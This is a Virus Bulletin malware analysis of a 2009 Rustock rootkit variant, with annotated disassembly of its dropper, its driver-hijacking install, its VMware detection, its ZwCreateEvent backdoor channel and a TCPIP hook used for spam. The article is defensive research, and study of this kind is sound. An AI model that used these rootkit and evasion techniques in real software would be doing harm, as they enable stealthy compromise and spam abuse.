Kernel mechanics of Rustock


Chandra Prakash

Sunbelt Software, USA
Editor: Helen Martin


Chandra Prakash provides details of the kernel-mode operations of a recent (March 2009) version of Rustock, concentrating on the changes from its previous version.

This article provides details of the kernel-mode operations of a recent (March 2009) version of Rustock, concentrating on the changes from its previous version. The previous version referred to in this article (Rustock.C) was detailed in an earlier issue of Virus Bulletin [1]. This article also describes the functions of the Rustock dropper that drops the rootkit driver.

Dropper unpacking

The outer layer 1 of the dropper is packed with the well-known UPX packer. Layer 1 UPX unpacking results in a Win32 command line executable with _wmain as shown in listing 1.

UPX0:00401920   _wmain        proc near
UPX0:00401920   call sub_401928
UPX0:00401925   xor eax, eax
UPX0:00401927   retn
UPX0:00401927   _wmain        endp
UPX0:00401928   sub_401928    proc near
UPX0:00401928   jmp short loc_401995
UPX0:00401995   loc_401995:
UPX0:00401995   pusha
UPX0:00401996   or  eax, 0FFFFFFFFh
UPX0:00401999   xor eax, 0FFFFFFFFh
UPX0:0040199C   push 2DB7h
UPX0:004019A1   push offset loc_401957
UPX0:004019A6   retn

Listing 1.

The _wmain routine is a layer 2 inner custom unpacking routine which contains a lot of PUSH RETN instruction sequences. Listing 2 shows a snippet of the layer 2 unpacking routine.

0040197D push   offset loc_4019A7; Start of encrypted code
00401982 pop    ebx
00401983 lea    esi, dword_420000; Starting decryption location
00401989 loc_401989:
00401989 add    eax, 0B1788E5Ch; Decryption key
                    ; different for every dword
0040198E mov    edx, [ebx]
00401990 xor    edx, eax; Simple XOR decryption
00401992 push   edx
00401993 jmp    short loc_401941
00401941 loc_401941:
00401941 pop    dword ptr [esi]; Write decrypted dword
00401943 lea    ebx, [ebx+4]

Listing 2.

Listing 3 shows the start of the decrypted code after layer 2 unpacking. The decrypted code obtains the location of the process environment block (PEB) using the FS:[30] register. From PEB it retrieves the address of InitializationOrderModuleList in order to find the kernel32.dll load virtual address. This is used to resolve the import addresses of the GetProcAddress, LoadLibrary and ExitProcess APIs. These APIs are in turn used to load more libraries, e.g. advapi32.dll, and resolve functions from them.

00420000 8b4c2404 mov   ecx,dword ptr [esp+4]
00420004 call   0420009
00420009 pop    ebp
0042000a sub    ebp,9
0042000d mov    eax,dword ptr fs:[00000030h]
00420013 mov    eax,dword ptr [eax+0Ch]
00420016 mov    eax,dword ptr [eax+1Ch]
00420019 mov    eax,dword ptr [eax]
0042001b mov    eax,dword ptr [eax+8]; Getting
          ;Kernel32.dll load address from PEB

Listing 3.

Dropping the rootkit driver

The next step is to load the rootkit driver into a shared memory. Using the CreateFileMapping API, the dropper creates a system paging file named ‘shared memory section object’. The user-mode name of the section object is ‘Global\5B37FB3B-984D-1E57-FF38-AA681BE5C8D9’. It then uses the virtual address return from the MapViewOfFile API to copy the rootkit driver into the shared memory.

Next, beep.sys is used as the first goat driver to install the rootkit driver. The dropper copies the beep.sys driver into a temporary file. The path to the temporary file is obtained using the GetTempPath and GetTempFileName APIs. The dropper uses the SCM APIs OpenSCManager and OpenService to get a handle to the beep service and then calls the ControlService API to stop it, if it is already running. It overwrites the beep.sys driver with its own Rustock driver and starts the beep service later using the ControlService API.

The dropper checks whether the driver has started successfully by opening a named event object created by the Rustock driver. The API used is OpenEvent and the name of the event object is ‘Global\{60F9FCD0-8DD4-6453-E394-771298D2A471}’. The open event is tried several times with one-second sleep intervals until it is successful. After the retries, the original beep.sys driver is restored from the temporary saved location. If the open event fails, the dropper uses the null.sys driver as the next goat driver, repeating the same steps. If using null.sys does not succeed either, then it creates a driver named ‘glaide32.sys’ in %SystemRoot%\System32\drivers and uses it to start the Rustock driver.

Driver and Dropper Interaction

After final unpacking in the Rustock driver, when code near the original entry point is reached, ZwOpenSection is used to open the named shared memory section object that was previously created by the dropper. In the driver, the kernel-mode section object is opened with the name ‘\BaseNamedObjects\5B37FB3B-984D-1E57-FF38-AA681BE5C8D9’. After opening the section object, it calls the ZwMapViewOfSection API to get the driver buffer from which to copy. The driver buffer is written to disk with a uniquely generated name that contains all hexadecimal numbers. The driver name generation is described in listing 4.

00010388 push edx
00010389 rdtsc
0001038B xor eax, rdtscValLoc
00010391 ror eax, 5
00010394 add eax, edx
00010396 add rdtscValLoc, eax; eax has driver name
0001039C pop edx
0001039D retn

Listing 4.

The driver service name in the registry is generated using the format specifier \registry\machine\system\CurrentControlSet\Services\%x to sprintf API. The driver file path is generated using the format specifier \SystemRoot\System32\drivers\%x.sys. The driver is set up in the registry as a SERVICE_SYSTEM_START service. Note, this is the same driver as beep.sys was overwritten with. The driver is written to disk by direct access to the NTFS driver, bypassing all filter drivers to evade on-access detection [1]. After writing the driver to disk and setting up the driver registry service configuration, the shared memory buffer is deallocated using ZwUnmapViewOfSection. This newly written driver will be started after the next reboot.

Similarities with Rustock.C

The following are the similarities between this version of Rustock and the version presented in [1].

  1. The decryption and decompression routines are the same at all stages, both for the Rustock driver and for the injected bot dll.

  2. The number of threads started and the function of each thread remain broadly the same.

  3. Both versions load private ntdll in order to obtain the SSDT index of hooked functions.

  4. Both versions register a process creation notification routine using PsSetCreateProcessNotifyRoutine to search for services.exe process create events for injecting APCs.

  5. Both versions create a new thread that overwrites its own driver to disk every five seconds.

  6. Both versions hook the registry key parse procedure in the kernel to hide the rootkit driver service key. Normally, the parse procedure in the kernel is registered by the Configuration Manager with the Object Manager.

  7. Both versions hook the ZwCreateKey, ZwOpenKey and IRP_MJ_CREATE dispatch routine of the NTFS driver.

  8. Both versions send the APC1 routines to inject waitable threads in the context of services.exe.

Changes in APC2

Before the APC2 routine for injecting bot dll is delivered, it communicates with the PCI bus device to get two DWORDs. One DWORD identifies the vendor and device ID of the bridge between the PCI bus to host and the other identifies the device ID of the bridge between the PCI bus and ISA bridge [2], [3]. The vendor and device IDs corresponding to these DWORD pairs are shown in ???[4]. If a match occurs with any of these pairs, APC2 is not delivered [1]. Pair 1 corresponds to VMware and was checked on VMware versions 5.5, 6.0 and 6.5. It is more than likely that the malware uses these vendor and device IDs to detect VMware.

 Vendor IDDevice ID
Pair 1:  
719080868086 - Intel7190 - 440BX/ZX AGPset host bridge
711080868086 - Intel7110 - PIIX4/4E/4M ISABridgeA
Pair 2:  
123780868086 - Intel1237 - PCI & memory
700080868086 - Intel7000 - PIIX3 PCI-to-ISA bridge (Triton II)
Pair 3:  
719280868086 - Intel7192 - 440BX/ZX chipset host-to-PCI bridge
711080868086 - Intel7110 - PIIX4/4E/4M ISBridgeA
Pair 4:  
113080868086 - Intel1130 - Host-hub interface bridge / DRAM Ctrlr

Table 1. Vendor and device IDs.

The code snippet used to obtain the device and vendor IDs corresponding to the first DWORD is shown in listing 5.

mov edx, 0CFBh   ; In dx set PCI mechanism control 
                 ; (PMC) register port number 0xCFB
in  al, dx ; Read value from PMC register
           ; SELECT (PCAMS):
; Set PCI Configuration Access Mechanism #1
; The CONFADD and CONFDATA registers (see below)
; are only accessible when PCAMS = 1
out dx, al ; Enable PCI Configuration Mechanism #1
xor ebx, ebx
mov eax, ebx
shl eax, 8 ; Set up device number and function number
bts eax, 1Fh ; Set bit 31. Note device no. is always 0
mov dl, 0F8h
out dx, eax      ; Output to port 0xCF8, the PCI     
                 ; configuration address (CONFADD) register
mov dl, 0FCh
in  eax, dx     ; Read port 0xCFC, the PCI Configuration
                ; data (CONFDATA) register
mov esi, eax
inc ax
jz  short invalid_value_read_fr_port
mov eax, ebx           ; Reached here if vendID and devID are
                       ; valid for the given device num and 
                       ; function num at bus 0
shl eax, 8
add eax, 80000008h; Set PCI Config address offset 0x8
mov dl, 0F8h
out dx, eax
mov dl, 0FCh
in  eax, dx      ; Here it is reading DWORD from CONFDATA
                 ; at PCI address offset 0x8
 ; The DWORD contains four bytes as below
 ; byte at offset 0xB - broad classification
 ; byte at offset 0xA - sub-classification
 ; byte at offset 0x9 - register programming interface
 ; byte at offset 0x8 - ignored
shr eax, 8 ; Ignoring byte at offset 0x8
cmp eax, 60000h ; 0x060000 is such that
 ; 06 - PCI bridge (broad classification)
 ; 00 - bridge to CPU host (sub-classification)
 ; 00 - register programming interface
 ; Hence it identifies a PCI host bridge device
jz  short found_valid_vendor_dev_id
inc bl     ; Here by incrementing bl which is byte sized
           ; it is scanning all device numbers and 
           ; function numbers
           ; Note device number is four bits and so is 
           ; the function number
jnz short Qry_PCI_Vendor_Dev_Id_Loop
xor esi, esi

Listing 5.

The logic for obtaining the device and vendor ID corresponding to the second DWORD is identical except for the comparison part, as shown in listing 6.

cmp eax, 60100h   ; 060100 is a such that
  ; 06 - PCI bridge (broad classification)
  ; 01 - ISA bridge (sub-classification)
  ; 00 - register programming intf
  ; Hence it indentifies a PCI ISA bridge device.
jz  short loc_1116D
cmp eax, 68001h  ; 068001 identifies PCI “other” 
 ; bridge device

Listing 6.

Creating TCPIP hook

The Rustock driver creates a TCPIP hook by using the device name \Device\Tcp. First, the device object of the tcpip.sys driver is obtained by using the IoGetDeviceObjectPointer API. Next, the driver object member of the device object structure is used to get the address of the original IRP_MJ_INTERNAL_DEVICE_CONTROL dispatch routine, where the hook is placed. During the creation of this TCPIP hook it allocates two buffers of size 5,220 (0x1464) and 3,200 (0xC80) bytes from a non-paged pool. It also creates an event notification object. The purpose of these buffers and the notification object is to store data from the TCPIP hook function and then notify delivery to bot dll, as described in DispatchFunction3 and DispatchFunction4 below.

Helper functions for TDI communication

Rustock uses a nice modular approach, defining a set of helper functions that are parameterized, rather than using duplicated code due to differences in parameters. Some of these helper functions relating to TDI communication are described below [6]. These helper functions are called from more than one location from various dispatch functions called to serve requests from the bot dll.

ReturnLockedMDLForUserBuf proc
; Remarks
; Returns MDL after locking a user-mode buffer.
; User-mode buffer is passed in requests from bot dll
; Input Parameters
; [ebp+8] - UserBufVirtAddr
; [ebp+C] - UserBufLength
; [ebp+10] - LOCK_OPERATION (IoReadAccess/
; IoWriteAccess etc.)
; Return value
; Locked MDL pointer in eax
000131A0 xor     esi, esi
000131A2 push    esi   ; Irp
000131A3 push    esi   ; ChargeQuota
000131A4 push    esi   ; SecondaryBuffer
000131A5 push    dword ptr [ebp+0Ch] ; UserBufLength
000131A8 push    dword ptr [ebp+8] ; UserBufVirtAddr
000131AB call    ds:IoAllocateMdl
000131B1 mov     edi, eax ; Store MDL pointer in edi
000131BD push    dword ptr [ebp+10h] ; LOCK_OPERATION
000131C0 push    1     ; AccessMode = UserMode
000131C2 push    edi   ; MDL
000131C3 call    ds:MmProbeAndLockPages ; Lock 
                       ;user-mode buffer
000131E1 mov     eax, edi ; Return MDL pointer in eax
ReturnLockedMDLForUserBuf endp

Listing 7.
PrepareAndSendIrp proc
; Remarks
; In regard to the bot dll requests, this function 
; prepares TDI IRPs for the TCPIP.sys driver. It fills 
; in MDL, Next Stack Location parameters and then 
; sends it to the TCP driver. IRP completion and post 
; processing cleanup is also handled.
; Input parameters
; eax - control structure such that:
;    [eax+20h] = allocated KEVENT object
;    [eax+30h] = reusable IRP pointer
;    [eax+38h] = placeholder for output 
;    IRP->IoStatus.Information
; Return value
; NTSTATUS in eax copied from local var ‘status’
; Local vars
; [ebp-8] - PMDL MemoryDescriptorList
; [ebp-4] - NTSTATUS status
00012D1C mov     esi, eax
00012D1E mov     edi, [esi+30h] ; Get IRP
00012D28 lea     ebx, [esi+20h]
00012D2B push    ebx   ; KEVENT object
00012D2C mov     [ebp+MemoryDescriptorList], eax
00012D2F call    ds:KeInitializeEvent
00012D35 mov     eax, [esi+30h]    ; Get IRP pointer
00012D38 mov     eax, [eax+60h]
 ; IRP->Tail.Overlay.CurrentStackLocation
00012D3B sub     eax, 24h    ; IoGetNextIrpStackLocation
00012D3E mov     dword ptr [eax+1Ch], offset TcpIrpCompleteionRoutine; 
 ; Set IO_STACK_LOCATION.CompletionRoutine
00012D45 mov     [eax+20h], ebx ; Set IRP Event object 
00012D48 mov     byte ptr [eax+3], 0E0h ; Set
00012D4C mov     ecx, [esi+14h]   ; TCP DeviceObject
00012D4F mov     edx, edi         ; IRP
00012D51 call ds:IofCallDriver ; Call TCPIP driver
00012D86 mov     eax, [edi+1Ch]
; Irp->IoStatus.Information
00012D89 mov     [esi+38h], eax
00012D8C mov     eax, [edi+18h] ; Irp->IoStatus.Status
00012D8F mov     [ebp+status], eax
00012D92 mov     esi, [ebp+MemoryDescriptorList]
00012D99 test byte ptr [esi+6], 2 ; Compare 
00012D9D jz      short loc_Dont_UnlockPages
00012D9F push esi  ; MemoryDescriptorList
00012DA0 call ds:MmUnlockPages; Unlock pages
00012DA6 loc_Dont_UnlockPages:
00012DA6 push esi  ; Mdl
00012DA7 call ds:IoFreeMdl
00012DAF push edi  ; Don’t free IRP. Reuse it!
00012DB0 call ds:IoReuseIrp
00012DB6 mov  eax, [ebp+status]; Return 
; NTSTATUS in eax
PrepareAndSendIrp endp 

Listing 8.

ZwCreateEvent hook

In contrast to the previous version of Rustock, which hooked ZwTerminateProcess, this one hooks ZwCreateEvent for communication between the user-mode bot dll and the driver [1].

    OUT PHANDLE  EventHandle,
    IN ACCESS_MASK  DesiredAccess,
    IN POBJECT_ATTRIBUTES  ObjectAttributes,
    IN EVENT_TYPE  EventType,
    IN BOOLEAN  InitialState

In the ZwCreateEvent API the DesiredAccess parameter value 0x0DC17E241 is used to delineate messages from bot dll versus other normal calls to this API. If ZwCreateEvent was invoked from bot dll, as indicated by the DesiredAccess value, then EventHandle contains a structure describing the input/output parameters. The layout of this structure is shown in listing 9.

ZwCreateEventHook proc
; Remarks
; This hook is used for Rustock bot dll and
; driver communication. The communication structure
; (RustockBotDllDrvComm) layout is:
; +0x0 FunctionIndex     // Index into function array
; +0x4 InputBuffer       // Input buffer
; +0x8 InputBufferSize   // Input buffer size
; +0xC OutputBuffer      // Output buffer
; +0x10 OutputBufferSize // Output buffer size
; Input parameters
; [ebp+8] - OUT PHANDLE EventHandle
; [ebp+C] - IN ACCESS_MASK DesiredAccess
; [ebp+10] - IN POBJECT_ATTRIBUTES ObjectAttributes
; [ebp+14] - IN EVENT_TYPE EventType
; [ebp+18] - IN BOOLEAN InitialState
00012849 cmp [ebp+DesiredAccess], 0DC17E241h
00012850 jnz short CALL_ORIGINAL_ZwCreateEvent
; When bot dll encoded value doesn’t match, call
; original ZwCreateEvent function
00012852 call ds:IoGetCurrentProcess
00012858 cmp eax, [ServicesEPROCESSValue]
0001285E jnz short CALL_ORIGINAL_ZwCreateEvent
; If not services.exe, handle requests through
; original ZwCreateEvent function
00012864 push 1 ; Alignment
00012866 push 14h ; Size of RustockBotDllDrvComm
00012868 mov esi, [ebp+EventHandle]
0001286B push esi ; Pointer to RustockBotDllDrvComm
0001286C mov edi, ds:ProbeForRead
00012872 call edi ; Check if structure is readable
00012874 push 1 ; Alignment
00012876 push 14h ; Size of RustockBotDllDrvComm
00012878 push esi ; Pointer to RustockBotDllDrvComm
00012879 mov ebx, ds:ProbeForWrite
0001287F call ebx ; Check if structure is writable
00012881 cmp dword ptr [esi], 0Ch ; Check function
; index bound
00012884 jnb short LOC_SET_ERROR_RETURN ; Only 11
; functions are registered. More validation
; on InputBuffer and OutputBuffer done next 
000128A4 mov eax, [esi] ; eax has FunctionIndex
000128A6 push esi ; address of
; RustockBotDllDrvComm
000128A7 call ZwCrtEvtDispFuncsArr[eax*4] ; Call
; dispatch function based on FunctionIndex
000128CD CALL_ORIGINAL_ZwCreateEvent:
000128CD push [ebp+InitialState]
000128D0 push [ebp+EventType]
000128D3 push [ebp+ObjectAttributes]
000128D6 push [ebp+DesiredAccess]
000128D9 push [ebp+EventHandle]
000128DC mov eax, OrigZwCreateEventAdr
000128E1 call dword ptr [eax]
ZwCreateEventHook endp

Listing 9.

Dispatch functions in ZwCreateEvent Hook

There are 11 dispatch functions that can be called from ZwCreateEvent hook. These are used for communication between bot dll and the driver and their general details are described below. Any disk I/Os in these dispatch functions are done by direct access to the NTFS driver.


This function is used to overwrite the existing Rustock driver with a new one sent from the bot dll. The new driver buffer and its size are passed in the InputBuffer and InputBufferSize parameters of the RustockBotDllDrvComm structure.


This dispatch function deletes its own driver from the disk.


This function is used for copying to user-mode data that was filtered in the Rustock TCPIP hook in TCP_SEND. When the data is ready, the TCPIP hook calls KeSetEvent and this function waits on that event (see listings 10 and 16).

DispatchFunction3 proc
00012954 push    ebx   ; Waitable Event Object
00012955 call    ds:KeWaitForSingleObject ; Wait 
 ; for notication from TCP hook
00012975 mov     ecx, ebx        ; FastMutex
00012977 call    ds:ExAcquireFastMutex ; Get copy lock 
 ; to sync with TCP hook before copy
0001297D mov     eax, BufferAddrToCopyFrom
00012982 mov     ecx, ebp ; Set up buffer length in ecx
0001298A mov     esi, eax ; Set up source buffer
0001298C mov     [edi+OutputBufferSize], ecx ; Set 
 ; output buffer size
0001298F mov     edi, [edi+OutputBuffer] ; Set 
 ; output/destination buffer
00012992 mov     edx, ecx
00012994 shr     ecx, 2
00012997 rep movsd  ; Copy in chunks of dwords
00012999 mov     ecx, edx
0001299B and     ecx, 3
0001299E rep movsb ; Copy remainder in chunk of bytes
000129AD call    ds:ExReleaseFastMutex; Copy done, 
 ; release copy lock
DispatchFunction3 endp

Listing 10.


This function returns to bot dll the process name captured in the TCPIP hook, which sent the data in a certain format through TDI_SEND (see listing 16).


This function is called on request from bot dll for creating a new unique TCPIP connection control structure. This control structure is an array of 16 DWORDs that contains, for example, the address of reusable IRPs (see listings 8, 12 and 13), TDI connection context handles, TDI file objects etc. There is an array of 10,000 such control structures. When bot dll requests the driver through dispatch functions relating to TCP activity, the bot dll sends in its input parameter an index into the array of control structures. Listing 11 shows a common routine used to obtain the address of the control structure using the array index.

GetCtrlStructByIndex proc
; Remarks
; This function returns address of TCPIP control 
; structure from an array of these structures
; Input parameter
; eax - Index into the array of control structures
000133CE cmp  eax, 2710h ; compare to 10000
000133D3 jle   short LOC_VALID_ARRAY_INDEX
000133D5 xor   eax, eax ; return NULL
000133D7 retn
000133D8 mov  ecx, MasterArrCtrlStructs
000133DE mov eax, [ecx+eax*4] ; return pointer to 
; control structure by array index
000133E1 retn
GetCtrlStructByIndex endp

Listing 11.


This is used to clean up a control structure allocated in DispatchFunction5. The index of the control structure to deallocate is passed in the InputBuffer. The cleanup includes sending TDI disconnect, closing TDI transport address, TDI connection context, freeing IRP and deallocating the control structure (see listing 12).

DispatchFunction6 proc
00013459 mov  eax, esi  ; Set index of control struct  ; in eax
0001345B call GetCtrlStructByIndex
00013460 test eax, eax
00013462 jz   short loc_13475
00013464 push eax ; Pass address of control struct
00013465 call SendDisconnAndDeAllocCtrlStruct
DispatchFunction6 endp

SendDisconnAndDeAllocCtrlStruct proc
; Input parameter
; [ebp+8] - Control structure
00012DF6 mov     esi, [ebp+8]
00012E23 mov     eax, [esi+30h]; IRP
00012E26 mov     eax, [eax+60h]
 ; IRP->Tail.Overaly.CurrentStackLocation
00012E29 sub     eax, 24h
 ; IoGetNextIrpStackLocation
00012E2C mov     byte ptr [eax], 0Fh
00012E2F mov     byte ptr [eax+1], 6 
00012E52 mov     eax, esi
00012E54 call    PrepareAndSendIrp ; Send
; disconnect remaining cleanup done next
SendDisconnAndDeAllocCtrlStruct endp

Listing 12.


This function is used to connect to a remote host. The InputBuffer contains an array index of the control structure and IP address and port to which to connect. Figure 1 shows a portion of netstat output showing Rustock connected to the SMTP port on several remote hosts.

DispatchFunction7 proc
00013066 mov     ecx, [eax+30h]; IRP
00013069 mov     ecx, [ecx+60h]
 ; IRP->Tail.Overaly.CurrentStackLocation
0001306C sub     ecx, 24h 
 ; IoGetNextIrpStackLocation
0001306F push    esi
00013070 mov     byte ptr [ecx], 0Fh 
00013073 mov     byte ptr [ecx+1], 1 
00013077 mov     esi, [eax+14h] ; Get TCP device 
 ; object from control struct
0001307A mov     [ecx+14h], esi
; Set IO_STACK_LOCATION.DeviceObject
0001307D mov     esi, [eax+0Ch] ; Get TDI
; ConnContext
; FileObject from control struct
00013080 mov     [ecx+18h], esi ; Set 
; ConnContext in 
0001308D call    PrepareAndSendIrp; Send IRP
00013154 sub     eax, 24h
00013157 mov     byte ptr [eax], 0Fh 
0001315A mov     byte ptr [eax+1], 3 ; TDI_CONNECT
0001316A lea     ecx, [ebp+tdiConnInfo]
0001316D mov     [eax+8], ecx 
; TDI_REQUEST.RequestConnectionInfo
00013170 lea  ecx, [ebp+tdiConnInfo]
00013173 mov  [eax+0Ch], ecx 
; TDI_REQUEST.ReturnConnectionInfo
00013176 mov  [eax+10h], ebx 
; TDI_REQUEST.RquestSpecific=0 (ebx)
0001317C call PrepAndSendIrp; Send IRP
DispatchFunction7 endp

Listing 13.
netstat output showing Rustock connected to the SMTP port on several remote hosts.

Figure 1. netstat output showing Rustock connected to the SMTP port on several remote hosts.


This function is used to send data using TDI_SEND. The index of the control structure and data to send is passed in the InputBuffer.

DispatchFunction8 proc
00013206 xor ebx, ebx
00013208 push ebx
; 0 - IoOperationRead
00013209 push edi
0001320A push [ebp+arg_4]
0001320D call ReturnLockedMDLForUserBuf; Get
; Locked MDL for read
00013212 cmp eax, ebx
00013214 jz short ErrorExit
00013228 mov ecx, [esi+30h]
0001322B mov ecx, [ecx+60h]
0001322E sub ecx, 24h; IoGetNextIrpStackLocation
00013231 mov byte ptr [ecx], 0Fh
00013234 mov byte ptr [ecx+1], 7 ; TDI_SEND
; From Control Struct get TCP DeviceObject and TDI 
; ConnContext FileObject to fill in corresponding 
00013247 mov [ecx+4], edi
0001324A mov ecx, [esi+30h]
; Get IRP from Control Struct
0001324D mov [ecx+4], eax ; Set IRP->MdlAddress
00013250 push dword ptr [esi+3Ch]
00013253 mov eax, esi
00013255 call PrepareAndSendIrp
DispatchFunction8 endp

Listing 14.

Figure 2 shows a screenshot of data sent through DispatchFunction8.

Screenshot of data sent through DispatchFunction8.

Figure 2. Screenshot of data sent through DispatchFunction8.


This function is used to receive data using TDI_RECEIVE. The index of the control structure is passed in the InputBuffer and the address of the receive buffer is passed in the OutputBuffer.

DispatchFunction9 proc
0001328B push 1 ; 1 - IoOperationWrite
0001328D push edi
0001328E push [ebp+buffer]
00013291 call ReturnLockedMDLForUserBuf ; Get Locked
; MDL for write
00013296 test eax, eax
00013298 jz short ErrorExit
000132AF mov ecx, [esi+30h]
000132B2 mov ecx, [ecx+60h]
000132B5 sub ecx, 24h; ; IoGetNextIrpStackLocation
000132B8 mov byte ptr [ecx], 0Fh
000132BB mov byte ptr [ecx+1], 8 ; TDI_RECEIVE
; From Control Struct get TCP DeviceObject and TDI 
; ConnContext FileObject to fill in corresponding 
000132CB mov dword ptr [ecx+8], 20h
000132D2 mov [ecx+4], edi
000132D5 mov ecx, [esi+30h] ; ; Get IRP from Control
; Struct
000132D8 mov [ecx+4], eax ; Set IRP->MdlAddress
000132DB push dword ptr [esi+3Ch]
000132DE mov eax, esi
000132E0 call PrepareAndSendIrp
DispatchFunction9 endp

Listing 15.

Figure 3 shows the memory dump of the receive buffer after a series of single-byte receives. Note that every data-sent packet sent or received by Rustock is delimited by CRLF (0xd 0xa) by sequence.

Memory dump of receive buffer after a series of single‑byte receives.

Figure 3. Memory dump of receive buffer after a series of single‑byte receives.

DispatchFunctions 10 and 11 return some state information upon request from bot dll.

TCPIP hook

The TCPIP hook is mainly on two TDI requests: TDI_SEND and TDI_CONNECT (see listing 16). The hook on TDI_SEND checks for the ‘RCPT TO:’ ASCII string at the beginning of sent data. If a match occurs, the string between angular brackets (left anchor ‘<’ and right anchor ‘>’) is extracted and copied to a memory buffer and then an event is signalled for DispatchFunction3. Also, after finding the matching data this hook obtains the process name of the process sending the data and stores it in a memory buffer for DispatchFunction4. This ‘RCPT TO:’ string field appears to correspond to the recipient’s email address in the SMTP protocol [5].

The part of the hook relating to TDI_CONNECT monitors the number of connection attempts to SMTP port 25 on a per-process basis [5]. The EPROCESS of the process requesting connect is stored in an array of maximum size 400. Every time the process makes an attempt to connect the connect count is incremented using EPROCESS as the key. If the connect count exceeds 200, the connect IRP is completed right away with NT status STATUS_UNSUCCESSFUL (0xC0000001), which returns failure to the user-mode application attempting to connect.

HookTCPDevCtrlDispFunc proc
; Input Parameter
; [esp+8] - DeviceObject
; [esp+C] - Irp
00012A91 mov ebx, [esp+Irp]
00012A95 cmp byte ptr [ebx+20h], 0 ; Check
; Irp.RequestorMode is Kernel
00012A9B mov edi, [ebx+60h]
; Irp->Tail.Overlay.GetCurrentStackLocation
00012A9E mov [esp+8+Irp], edi
00012AA2 jz CheckTDI_CONNECT; Jump if RequestorMode
; is Kernel
00012AA8 cmp byte ptr [edi+1], 7; TDI_SEND
00012AAC jnz CheckTDI_CONNECT; Jump if MinorFunction
; If MinorFunction==TDI_SEND and TCP send buffer range 
; is >= 10 and < 100 bytes, then check for “RCPT TO:” 
; at the buffer start (esi) as below
00012AE8 cmp dword ptr [esi], 54504352h; 
; Compare buffer to “RCPT”
00012AEE jnz CheckTDI_CONNECT
00012AF4 cmp dword ptr [esi+4], 3A4F5420h
; Compare buffer+4 to “ TO:”
00012B17 add esi, 8; Increment esi past “RCPT TO:”
; In the remaining send buffer, extract an ASCII
; string between ‘<’ and ‘>’ delimiters
00012BA7 push offset SomeNotfEvtObj1 ; Event
00012BAC call ds:KeSetEvent ; If matching string
; found, set event for DispatchFunction3
00012BBD cmp byte ptr [edi+1], 3 ; TDI_CONNECT
00012BC1 jnz short CallTCPOrigDevCtrlFunc ; Jump if
00012BCF cmp word ptr [eax+6], 2
00012BD4 jnz short CallTCPOrigDevCtrlFunc
00012BD6 cmp byte ptr [ebx+20h], 0
; Check Irp.RequestorMode
00012BDA jz short CallTCPOrigDevCtrlFunc ; Jump if
; Irp.RequestorMode == Kernel
00012BDC cmp word ptr [eax+8], 1900h
00012BE2 jnz short CallTCPOrigDevCtrlFunc ; Jump if
; port != 25 (0x19)
00012BED call CheckPortConnAttmptsFrThisProc; This
; function returns TRUE if max number of connection
; attempts for the current process is >= 200.
00012BF2 test eax, eax
00012BF4 jz short CallTCPOrigDevCtrlFunc; If
; function returned NON-ZERO complete request with
00012BF6 and dword ptr [ebx+1Ch], 0
; Irp.IoStatus.Information = 0
00012BFA mov esi, 0C0000001h ; STATUS_UNSUCCESSFUL
00012BFF xor dl, dl ; PriorityBoost
00012C01 mov ecx, ebx ; IRP
00012C03 mov [ebx+18h], esi
00012C06 call ds:IofCompleteRequest ; Request is
; completed here and NOT sent to lower driver.
00012C0C mov eax, esi
00012C0E jmp short FunctionExit
00012C10 CallTCPOrigDevCtrlFunc:
00012C10 push ebx
00012C11 push [esp+0Ch+DeviceObject]
00012C15 call OrigTCPDevCtrlDispFunc
HookTCPDevCtrlDispFunc endp

Listing 16.


[1] Prakash, C. Your filters are bypassed: Rustock.C in the kernel. Virus Bulletin, November 2008, p.6.


[4] PCI vendor and device lists.



Latest articles:

Fighting Fire with Fire

In 1989, Joe Wells encountered his first virus: Jerusalem. He disassembled the virus, and from that moment onward, was intrigued by the properties of these small pieces of self-replicating code. Joe Wells was an expert on computer viruses, was partly…

Run your malicious VBA macros anywhere!

Kurt Natvig wanted to understand whether it’s possible to recompile VBA macros to another language, which could then easily be ‘run’ on any gateway, thus revealing a sample’s true nature in a safe manner. In this article he explains how he recompiled…

Dissecting the design and vulnerabilities in AZORult C&C panels

Aditya K Sood looks at the command-and-control (C&C) design of the AZORult malware, discussing his team's findings related to the C&C design and some security issues they identified during the research.

Excel Formula/Macro in .xlsb?

Excel Formula, or XLM – does it ever stop giving pain to researchers? Kurt Natvig takes us through his analysis of a new sample using the xlsb file format.

Decompiling Excel Formula (XF) 4.0 malware

Office malware has been around for a long time, but until recently Excel Formula (XF) 4.0 was not something researcher Kurt Natvig was very familiar with. In this article Kurt allows us to learn with him as he takes a deeper look at XF 4.0.

Bulletin Archive

We have placed cookies on your device in order to improve the functionality of this site, as outlined in our cookies policy. However, you may delete and block all cookies from this site and your use of the site will be unaffected. By continuing to browse this site, you are agreeing to Virus Bulletin's use of data as outlined in our privacy policy.